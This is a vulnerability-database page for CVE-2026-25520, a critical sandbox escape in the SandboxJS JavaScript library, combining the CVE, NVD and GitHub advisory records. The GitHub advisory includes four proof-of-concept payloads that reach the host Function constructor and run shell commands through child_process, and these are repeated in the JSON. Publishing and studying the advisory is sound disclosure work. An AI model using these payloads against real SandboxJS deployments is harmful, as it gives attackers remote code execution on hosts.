Vulnerability-Lookup

CVE-2026-25520 (GCVE-0-2026-25520)

Vulnerability from cvelistv5 – Published: 2026-02-06 19:53 – Updated: 2026-02-06 20:18

Title

SandboxJS has a Sandbox Escape

Summary

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.

Severity ?

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/nyariv/SandboxJS/security/advi…	x_refsource_CONFIRM
	https://github.com/nyariv/SandboxJS/commit/67cb18…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	nyariv	SandboxJS	Affected: < 0.8.29

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-25520

Vulnerability from fkie_nvd - Published: 2026-02-06 20:16 - Updated: 2026-02-06 21:57

Severity ?

10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
	security-advisories@github.com	https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren\u0027t wrapped. Object.values/Object.entries can be used to get an Array containing the host\u0027s Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29."
    }
  ],
  "id": "CVE-2026-25520",
  "lastModified": "2026-02-06T21:57:22.450",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-06T20:16:10.440",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-74"
        }
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      "source": "security-advisories@github.com",
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}

GHSA-58JH-XV4V-PCX4

Vulnerability from github – Published: 2026-02-05 20:41 – Updated: 2026-02-06 21:42

Summary

@nyariv/sandboxjs has a Sandbox Escape issue

Details

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.

PoC

const s = require('@nyariv/sandboxjs').default;
const sb = new s();

payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`

sb.compile(payload)().run();

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`

sb.compile(payload)().run();

Impact

Sanbox Escape -> RCE

Severity ?

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T20:41:28Z",
    "nvd_published_at": "2026-02-06T20:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe return values of functions aren\u0027t wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host\u0027s `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.\n\n### Details\n\nThe return values of functions aren\u0027t wrapped, chaining function calls allows bypassing most validation/sanitization. \n\n### PoC\n\n```js\nconst s = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.values(this).at(0)(\n    \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)[0].at(1)(\n    \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)\n    .at(0)\n    .map((f) =\u003e {\n      if (typeof f === \u0027function\u0027) {\n        f.call(\u0027\u0027, \u0027return process\u0027)()\n          .getBuiltinModule(\u0027child_process\u0027)\n          .execSync(\u0027ls -lah\u0027, { stdio: \u0027inherit\u0027 });\n      }\n    }),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst t = (f) =\u003e {\n  f.call(\u0027\u0027, \u0027return process\u0027)()\n    .getBuiltinModule(\u0027child_process\u0027)\n    .execSync(\u0027ls -lah\u0027, { stdio: \u0027inherit\u0027 });\n};\nconsole.log(t.call(...Object.entries(this)[0]));\n`\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSanbox Escape -\u003e RCE",
  "id": "GHSA-58jh-xv4v-pcx4",
  "modified": "2026-02-06T21:42:23Z",
  "published": "2026-02-05T20:41:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nyariv/sandboxjs has a Sandbox Escape issue"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-25520 (GCVE-0-2026-25520)

FKIE_CVE-2026-25520

GHSA-58JH-XV4V-PCX4

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature